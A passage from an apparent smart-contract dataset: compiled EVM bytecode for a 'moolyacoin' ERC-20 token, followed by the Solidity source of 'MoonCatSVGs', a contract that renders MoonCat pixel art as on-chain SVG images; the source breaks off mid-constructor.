90f35b34801561058457600080fd5b5061058d6112b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e46112dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b50610674611316565b604051808215151515815260200191505060405180910390f35b34801561069a57600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611329565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b5061073e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ae565b604051808215151515815260200191505060405180910390f35b34801561076457600080fd5b506107a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611639565b604051808215151515815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611850565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082057600080fd5b5061085f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611876565b604051808215151515815260200191505060405180910390f35b34801561088557600080fd5b506108da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a72565b6040518082815260200191505060405180910390f35b3480156108fc57600080fd5b50610931600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611af9565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098f57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6040805190810160405280600a81526020017f6d6f6f6c7961636f696e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7457600080fd5b601260ff16600a0a83029050610bd1816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2881600154611b6190919063ffffffff16565b60018190555050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cce57600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d1b57600080fd5b610d6c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc382600154611b7d90919063ffffffff16565b6001819055506001905092915050565b6000600154905090565b600083600460149054906101000a900460ff161515610e4f57600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e4e57600080fd5b5b610e5a858585611b96565b9150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610efc57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fa157600080fd5b6001600460146101000a81548160ff021916908315150217905550565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110cf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611163565b6110e28382611b7d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60056020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f6d6f6f6c7961000000000000000000000000000000000000000000000000000081525081565b600460149054906101000a900460ff1681565b600033600460149054906101000a900460ff16151561139b57600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561139a57600080fd5b5b6113a58484611f50565b91505092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561144957600080fd5b601260ff16600a0a83029050600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156114c457600080fd5b61153781600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ec816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116d357600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561172057600080fd5b611771826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611804826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061190782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5557600080fd5b611b5e8161216f565b50565b60008183019050828110151515611b7457fe5b80905092915050565b6000828211151515611b8b57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bd357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c2057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cab57600080fd5b611cfc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f8d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fda57600080fd5b61202b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120be826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121ab57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058208cfd946dba2241e2a9e7356c868de76401fc2b82117cd84f17edf2f0e27453a00029
{"success": true, "error": null, "results": {}}
1,230
0xB39C61fe6281324A23e079464f7E697F8Ba6968f
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.8.1; interface IMoonCatRescue { function rescueOrder(uint256 tokenId) external view returns (bytes5); function catOwners(bytes5 catId) external view returns (address); } interface IReverseResolver { function claim(address owner) external returns (bytes32); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IERC721 { function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address); } interface IMoonCatReference { function doc (address contractAddress) external view returns (string memory name, string memory description, string memory details); function setDoc (address contractAddress, string calldata name, string calldata description) external; } interface IMoonCatTraits { function kTraitsOf (bytes5 catId) external view returns (bool genesis, bool pale, uint8 facing, uint8 expression, uint8 pattern, uint8 pose); } interface IMoonCatColors { function colorsOf (bytes5 catId) external view returns (uint8[24] memory); } /** * @title MoonCatSVGs * @notice On Chain MoonCat Image Generation * @dev Builds SVGs of MoonCat Images */ contract MoonCatSVGs { /* External Contracts */ IMoonCatRescue MoonCatRescue = IMoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6); IMoonCatReference MoonCatReference; IMoonCatTraits MoonCatTraits; IMoonCatColors MoonCatColors; address MoonCatAcclimatorAddress = 0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69; uint8[16] public CatBox = [53, 49, 42, 34, 51, 49, 40, 28, 51, 49, 34, 44, 53, 37, 40, 42]; string constant public Face = "57 51,59 51,59 53,61 53,61 55,67 55,67 53,69 53,69 51,71 51,71 53,69 53,69 55,71 55,71 57,73 57,73 67,71 67,71 69,57 69,57 67,55 67,55 57,57 57,57 55,59 55,59 53,57 53"; string[4] public Border = ["57 49,59 49,59 51,61 51,61 53,67 53,67 51,69 51,69 49,71 49,71 51,73 51,73 55,75 55,75 59,85 59,85 61,87 61,87 65,89 65,89 61,87 61,87 55,93 55,93 59,95 59,95 69,93 69,93 71,89 71,89 75,87 75,87 77,85 77,85 79,83 79,83 81,81 81,81 83,61 83,61 77,59 77,59 75,57 75,57 69,55 69,55 67,53 67,53 55,55 55,55 51,57 51", "57 49,59 49,59 51,61 51,61 53,67 53,67 51,69 51,69 49,71 49,71 51,73 51,73 55,83 55,83 57,89 57,89 61,91 61,91 71,89 71,89 73,87 73,87 75,85 75,85 77,69 77,69 75,53 75,53 73,51 73,51 65,53 65,53 55,55 55,55 51,57 51", "57 49,59 49,59 51,61 51,61 53,67 53,67 51,69 51,69 49,73 49,73 55,75 55,75 69,79 69,79 71,83 71,83 75,85 75,85 85,83 85,83 87,81 87,81 89,77 89,77 93,71 93,71 91,65 91,65 93,61 93,61 91,59 91,59 83,57 83,57 77,55 77,55 75,51 75,51 69,55 69,55 67,53 67,53 55,55 55,55 51,57 51", "57 49,61 49,61 53,67 53,67 51,69 51,69 49,73 49,73 53,77 53,77 51,79 51,79 49,83 49,83 45,81 45,81 43,77 43,77 45,73 45,73 37,85 37,85 39,89 39,89 45,91 45,91 51,93 51,93 61,91 61,91 67,93 67,93 73,91 73,91 77,89 77,89 79,81 79,81 77,75 77,75 75,71 75,71 77,69 77,69 79,63 79,63 77,61 77,61 79,53 79,53 73,55 73,55 71,57 71,57 69,55 69,55 67,53 67,53 53,55 53,55 51,57 51"]; string[4] public Coat = ["59 71,71 71,71 69,73 69,73 67,75 67,75 61,83 61,83 63,85 63,85 67,91 67,91 59,89 59,89 57,91 57,91 59,93 59,93 67,91 67,91 69,87 69,87 73,85 73,85 75,83 75,83 77,81 77,81 79,79 79,79 81,77 81,77 75,79 75,79 73,69 73,69 75,71 75,71 79,69 79,69 77,67 77,67 75,65 75,65 79,63 79,63 77,61 77,61 75,59 75", "53 69,57 69,57 71,73 71,73 73,81 73,81 71,83 71,83 69,85 69,85 67,81 67,81 65,79 65,79 67,81 67,81 71,79 71,79 69,73 69,73 67,75 67,75 59,77 59,77 57,81 57,81 59,87 59,87 63,89 63,89 69,87 69,87 71,85 71,85 73,83 73,83 75,71 75,71 71,69 71,69 73,65 73,65 71,59 71,59 73,55 73,55 71,53 71", "55 69,57 69,57 71,71 71,71 69,73 69,73 71,75 71,75 75,77 75,77 85,79 85,79 81,81 81,81 77,79 77,79 73,77 73,77 71,79 71,79 73,81 73,81 77,83 77,83 83,81 83,81 85,79 85,79 87,75 87,75 89,69 89,69 87,67 87,67 85,71 85,71 83,75 83,75 81,69 81,69 85,67 85,67 77,65 77,65 75,67 75,67 73,61 73,61 77,63 77,63 79,61 79,61 89,65 89,65 87,63 87,63 85,61 85,61 81,59 81,59 75,57 75,57 73,55 73", "89 49,85 49,85 43,81 43,81 41,77 41,77 43,75 43,75 39,83 39,83 41,87 41,87 47,89 47,89 53,91 53,91 59,89 59,89 67,91 67,91 71,89 71,89 75,87 75,87 77,85 77,85 75,79 75,79 71,83 71,83 73,81 73,81 75,85 75,85 73,87 73,87 69,85 69,85 63,83 63,83 65,79 65,79 67,77 67,77 71,73 71,73 73,69 73,69 75,65 75,65 73,63 73,63 75,59 75,59 77,57 77,57 57,55 57,55 53,57 53,57 57,71 57,71 53,73 53,73 57,57 57,57 73,59 73,59 71,71 71,71 69,75 69,75 57,77 57,77 55,79 55,79 53,81 53,81 51,89 51"]; string[4] public Tummy = ["71 73,77 73,77 75,75 75,75 79,73 79,73 75,71 75", "75 69,79 69,79 71,75 71", "61 79,67 79,67 87,63 87,63 85,61 85", "83 63,85 63,85 67,83 67,83 69,77 69,77 67,79 67,79 65,83 65"]; uint8[] public Eyes = [2,0,0,0, 59,59,67,59]; uint8[] public Whiskers = [4,4,4,4, 59,63,67,63,61,65,65,65, 59,57,67,57,61,65,65,65, 59,61,67,61,61,65,65,65, 57,63,59,63,67,63,69,63]; uint8[] public Skin = [6,5,7,7, 57,53,69,53,63,63,63,79,69,79,75,79, 57,53,69,53,63,63,59,71,63,71, 57,53,69,53,63,63,53,71,63,75,63,89,73,89, 57,53,69,53,63,63,77,73,55,75,65,75,83,75]; uint8[882] public Patterns = [16,17,17,18,34,25,27,40,62,53,56,70, 61,55,65,55,55,59,71,59,79,61,91,61,55,63,71,63,77,63,83,63,81,65,91,65,87,67,85,69,59,73,69,75, 61,55,65,55,55,59,71,59,79,59,85,59,77,61,83,61,55,63,71,63,87,65,55,69,67,71,83,71,73,73,77,73,81,73, 61,55,65,55,55,59,71,59,55,63,71,63,57,71,73,71,59,73,71,73,79,73,75,75,73,77,81,77,81,81,79,83,61,85, 77,39,81,39,81,41,85,41,85,45,81,53,61,55,65,55,77,55,83,55,79,57,55,59,71,59,55,63,71,63,89,67,59,73,67,73, 69,51,67,53,57,57,59,57,89,57,57,59,91,59,71,61,77,61,79,61,81,61,91,61,71,63,79,63,81,63,83,63,55,65,81,65,73,67,73,69,75,69,61,71,63,71,65,71,71,71,73,71,75,71,79,71,81,71,63,73,79,73,81,73,83,73,81,75, 69,51,67,53,57,57,59,57,57,59,81,59,83,59,85,59,71,61,83,61,85,61,71,63,55,65,77,65,77,67,79,67,53,69,55,69,55,71,57,71,71,71,71,73,73,73,75,73,77,73, 69,51,67,53,57,57,59,57,57,59,71,61,71,63,55,65,57,71,59,71,61,71,63,71,77,71,59,73,79,73,71,75,75,75,79,75,73,77,75,77,73,79,75,79,75,81,75,83,61,85,61,87,63,87, 75,39,77,39,79,39,81,39,75,41,81,41,69,51,81,51,83,51,85,51,67,53,71,53,79,53,81,53,83,53,77,55,79,55,81,55,83,55,57,57,59,57,79,57,81,57,57,59,87,59,71,61,85,61,87,61,71,63,85,63,87,63,55,65,87,65,87,67,89,67,59,71,61,71,63,71,65,71,61,73, 57,51,59,53,57,55,59,55,61,55,55,57,57,57,59,57,61,57,63,57,55,59,57,59,61,59,63,59,55,61,57,61,59,61,61,61,63,61,65,61,81,61,55,63,57,63,59,63,61,63,65,63,81,63,83,63,55,65,57,65,59,65,61,65,63,65,65,65,81,65,83,65,57,67,59,67,61,67,63,67,65,67,79,67,81,67,83,67,85,67,87,67,89,67,71,69,73,69,81,69,83,69,67,71,69,71,71,71,73,71,75,71,65,73,67,73,67,75,69,75,69,77,75,79, 57,51,59,53,57,55,59,55,61,55,55,57,57,57,59,57,61,57,63,57,55,59,57,59,61,59,63,59,55,61,57,61,59,61,61,61,63,61,65,61,83,61,85,61,55,63,57,63,59,63,61,63,65,63,83,63,85,63,87,63,55,65,57,65,59,65,61,65,63,65,65,65,81,65,83,65,85,65,87,65,57,67,59,67,61,67,63,67,65,67,85,67,87,67,83,69,85,69,63,71,65,71,67,71,83,71, 57,51,59,53,57,55,59,55,61,55,55,57,57,57,59,57,61,57,63,57,55,59,57,59,61,59,63,59,55,61,57,61,59,61,61,61,63,61,65,61,55,63,57,63,59,63,61,63,65,63,55,65,57,65,59,65,61,65,63,65,65,65,57,67,59,67,61,67,63,67,65,67,67,73,65,75,67,75,69,75,67,77,69,77,75,81,79,81,81,81,73,83,75,83,79,83,61,85,73,85,75,85,77,85,61,87,63,87,73,87,73,89, 85,43,85,45,85,47,87,47,57,51,81,51,83,51,85,51,87,51,55,53,59,53,83,53,85,53,87,53,55,55,57,55,59,55,61,55,55,57,57,57,59,57,61,57,63,57,55,59,57,59,61,59,63,59,55,61,57,61,59,61,61,61,63,61,65,61,55,63,57,63,59,63,61,63,65,63,75,63,77,63,79,63,55,65,57,65,59,65,61,65,63,65,65,65,75,65,77,65,57,67,59,67,61,67,63,67,65,67,75,67,71,69,73,69,75,69,87,69,65,71,67,71,69,71,71,71,87,71,65,73,67,73,85,73,87,73,83,75,85,75]; /** * @dev Wrap a chunk of SVG objects with a group that flips their appearance horizontally. */ function flip (bytes memory svgData) public pure returns (bytes memory) { return abi.encodePacked("<g transform=\"scale(-1,1) translate(-128,0)\">", svgData, "</g>"); } /** * @dev Transform a set of coordinate points into an SVG polygon object. */ function polygon(string memory points, uint8 r, uint8 g, uint8 b) internal pure returns (bytes memory) { return abi.encodePacked("<polygon points=\"", points, "\" fill=\"rgb(",uint2str(r),",",uint2str(g),",",uint2str(b), ")\"/>" ); } /** * @dev Transform a coordinate point into SVG rectangles. */ function setPixel (bytes memory imageData, uint8 x, uint8 y) internal pure returns (bytes memory) { return abi.encodePacked(imageData, "<use href=\"#r", "\" x=\"",uint2str(x), "\" y=\"",uint2str(y), "\"/>"); } /** * @dev Transform a set of coordinate points into a collection of SVG rectangles. */ function pixelGroup (uint8[] memory data, uint8 index) public pure returns (bytes memory) { bytes memory pixels; uint startIndex = 2; for (uint i = 0; i < index; i++) { startIndex += data[i]; } uint endIndex = startIndex + data[index]; for (uint i = startIndex; i < endIndex; i++){ uint p = i * 2; pixels = setPixel(pixels, data[p], data[p+1]); } return pixels; } /** * @dev For a given MoonCat pose and pattern ID, return a collection of SVG rectangles drawing that pattern. */ function getPattern (uint8 pose, uint8 pattern) public view returns (bytes memory) { bytes memory pixels; if (pattern > 0) { pattern -= 1; uint index = (pattern << 2) + pose; uint startIndex = 6; for (uint i = 0; i < index; i++) { startIndex += Patterns[i]; } uint endIndex = startIndex + Patterns[index]; for (uint i = startIndex; i < endIndex; i++){ uint p = i * 2; pixels = setPixel(pixels, Patterns[p], Patterns[p+1]); } } return pixels; } /** * @dev Wrap a collection of SVG rectangle "pixels" in a group to color them all the same color. */ function colorGroup (bytes memory pixels, uint8 r, uint8 g, uint8 b) internal pure returns (bytes memory) { return abi.encodePacked("<g fill=\"rgb(",uint2str(r),",",uint2str(g),",",uint2str(b),")\">", pixels, "</g>"); } /** * @dev Wrap a collection of SVG rectangle "pixels" in a group to create a colored glow around them. */ function glowGroup (bytes memory pixels, uint8 r, uint8 g, uint8 b) public pure returns (bytes memory) { return abi.encodePacked("<g style=\"filter:drop-shadow(0px 0px 2px rgb(",uint2str(r), ",", uint2str(g), ",", uint2str(b),"))\">", pixels, "</g>"); } /** * @dev Given specific MoonCat trait information, assemble the main visual SVG objects to represent a MoonCat with those traits. */ function getPixelData (uint8 facing, uint8 expression, uint8 pose, uint8 pattern, uint8[24] memory colors) public view returns (bytes memory) { bytes memory border = polygon(Border[pose], colors[3], colors[4], colors[5]); bytes memory face = polygon(Face, colors[9], colors[10], colors[11]); bytes memory coat = polygon(Coat[pose], colors[9], colors[10], colors[11]); bytes memory skin = colorGroup(pixelGroup(Skin, pose), colors[15], colors[16], colors[17]); bytes memory tummy = polygon(Tummy[pose], colors[12], colors[13], colors[14]); bytes memory patt = colorGroup(getPattern(pose, pattern), colors[6], colors[7], colors[8]); bytes memory whiskers = colorGroup(pixelGroup(Whiskers, expression), colors[12], colors[13], colors[14]); bytes memory eyes = colorGroup(pixelGroup(Eyes, 0), colors[3], colors[4], colors[5]); bytes memory data; if (pattern == 2) { data = abi.encodePacked(border, face, coat, skin, tummy, whiskers, patt, eyes); } else { data = abi.encodePacked(border, face, coat, skin, tummy, patt, whiskers, eyes); } if (facing == 1) { return flip(data); } return data; } /** * @dev Construct SVG header/wrapper tag for a given set of canvas dimensions. */ function svgTag (uint8 x, uint8 y, uint8 w, uint8 h) public pure returns (bytes memory) { return abi.encodePacked("<svg xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\" viewBox=\"", uint2str(x), " ", uint2str(y), " ", uint2str(w), " ", uint2str(h), "\" width=\"", uint2str(uint32(w)*5), "\" height=\"", uint2str(uint32(h)*5), "\" shape-rendering=\"crispEdges\" style=\"image-rendering:pixelated\"><defs><rect id=\"r\" width=\"2\" height=\"2\" /></defs>"); } /** * @dev Convert a MoonCat facing and pose trait information into an SVG viewBox definition to set that canvas size. */ function boundingBox (uint8 facing, uint8 pose) public view returns (uint8 x, uint8 y, uint8 width, uint8 height) { x = CatBox[pose * 4 + 0] - 2; y = CatBox[pose * 4 + 1] - 2; width = CatBox[pose * 4 + 2] + 4; height = CatBox[pose * 4 + 3] + 4; if (facing == 1) { x = 128 - width - x; } return (x, y, width, height); } /** * @dev For a given MoonCat hex ID, create an SVG of their appearance, specifying glowing or not. */ function imageOf (bytes5 catId, bool glow) public view returns (string memory) { (,,uint8 facing, uint8 expression, uint8 pattern, uint8 pose) = MoonCatTraits.kTraitsOf(catId); uint8[24] memory colors = MoonCatColors.colorsOf(catId); bytes memory pixelData = getPixelData(facing, expression, pose, pattern, colors); if (glow) { pixelData = glowGroup(pixelData, colors[0], colors[1], colors[2]); } (uint8 x, uint8 y, uint8 width, uint8 height) = boundingBox(facing, pose); return string(abi.encodePacked(svgTag(x, y, width, height), pixelData, "</svg>")); } /** * @dev For a given MoonCat hex ID, create an SVG of their appearance, glowing if they're Acclimated. */ function imageOf (bytes5 catId) public view returns (string memory) { return imageOf(catId, MoonCatRescue.catOwners(catId) == MoonCatAcclimatorAddress); } /** * @dev For a given MoonCat rescue order, create an SVG of their appearance, specifying glowing or not. */ function imageOf (uint256 rescueOrder, bool glow) public view returns (string memory) { require(rescueOrder < 25440, "Invalid Rescue Order"); return imageOf(MoonCatRescue.rescueOrder(rescueOrder), glow); } /** * @dev For a given MoonCat rescue order, create an SVG of their appearance, glowing if they're Acclimated. */ function imageOf (uint256 rescueOrder) public view returns (string memory) { require(rescueOrder < 25440, "Invalid Rescue Order"); return imageOf(MoonCatRescue.rescueOrder(rescueOrder)); } /** * @dev Convert an integer/numeric value into a string of that number's decimal value. */ function uint2str (uint value) public pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* General */ /** * @dev Get documentation about this contract. */ function doc() public view returns (string memory name, string memory description, string memory details) { return MoonCatReference.doc(address(this)); } constructor (address MoonCatReferenceAddress, address MoonCatTraitsAddress, address MoonCatColorsAddress) { owner = payable(msg.sender); // https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address 